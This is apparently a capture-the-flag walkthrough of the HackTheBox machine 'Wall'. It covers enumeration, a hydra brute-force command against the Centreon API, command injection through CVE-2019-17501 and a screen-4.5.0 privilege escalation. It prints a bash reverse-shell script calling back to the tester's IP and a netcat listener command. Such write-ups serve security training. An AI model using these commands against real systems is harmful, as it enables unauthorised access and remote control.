The initial nmap scan for the HackTheBox machine “Wall” only reveled two open ports:

Nmap scan report for 10.10.10.157
Host is up (0.056s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

The website on port 80 was the Debian standard welcome page, nothing interesting there.
Running dirb against the target got back those paths and files:

aa.php
panel.php
monitoring/

The file aa.php just displayed the number “1”. And panel.php only displayed the text “Just a test for php file !”.
Any file requested under monitoring asked for username and password.
This took me a while to figure out, but the password was only requested for GET requests, if a POST request was sent, this was the result:

HTTP/1.1 200 OK
Date: Fri, 04 Oct 2019 11:26:09 GMT
Server: Apache/2.4.29 (Ubuntu)
Last-Modified: Wed, 03 Jul 2019 22:47:23 GMT
ETag: "9a-58ccea50ba4c6-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 154
Connection: close
Content-Type: text/html


<h1>This page is not ready yet !</h1>

<h2>We should redirect you to the required page !</h2>

<meta http-equiv="refresh" content="0; URL='/centreon'" />

With that we found a new path: /centreon
Centreon is a monitoring software based on Nagios. Checking for past vulnerabilities, there comes up a remote code execution – but it requires authentication first.
Having exceeded all options I tried to brute-force the password. Checking their documentation we can figure out that the default username is “admin”. And that they also offer an API. We use the API to brute-force the password since the WebUI uses CSRF tokens.
Using hydra we brute-force the password:

hydra -l admin -P /usr/share/wordlists/rockyou.txt -V 10.10.10.157 http-post-form "/centreon/api/index.php?action=authenticate:username=^USER^&password=^PASS^:F=Bad" -I

[80][http-post-form] host: 10.10.10.157   login: admin   password: password1

Now that we got credentials I’ve tried to use the RCE vulnerability (CVE-2019-13024).
I’ve spent a ton of time on this but I couldn’t make it work. There is a filter in place which responds with 403 errors when a space is in the payload. And even when I tried to circumvent that, it didn’t work.

After a while I found CVE-2019-17501, this is much easier. The filter appears not to be active there. So we navigate to Configuration -> Commands -> Discovery

Here we get a box in which we can simply enter commands and using the blue play button next to “Argument Example” we can directly execute those.

Still, spawning directly a reverse-shell was not possible since some characters were escaped. To get around this, I’ve started a local webserver and placed the file rev.sh in its root with this content:

#!/bin/bash

bash -i >& /dev/tcp/10.10.14.9/2222 0>&1

Next we enter the following command into the command line field:

And execute it:

Now the reverse shell is on the system. We start a local netcat listener already by running nc -vnlp 2222 and repeat the steps above but now simply run bash /tmp/rev.sh instead of the wget.

With that we get a connect back from the server:

Running the linux smart enumeration script shows us that there is a uncommon setuid binary: /bin/screen-4.5.0

For this exact version there is a vulnerability that allows to escalate to root. I was first trying to use this vulnerability to drop a file in /etc/sudoers.d to escalate privileges, but the file was always either not written or had too wide permissions for sudo to accept it.

Instead I used the PoC from here https://github.com/XiphosResearch/exploits/tree/master/screen2root to simply get a root shell:

And that gives us a root shell with which we can get both flags.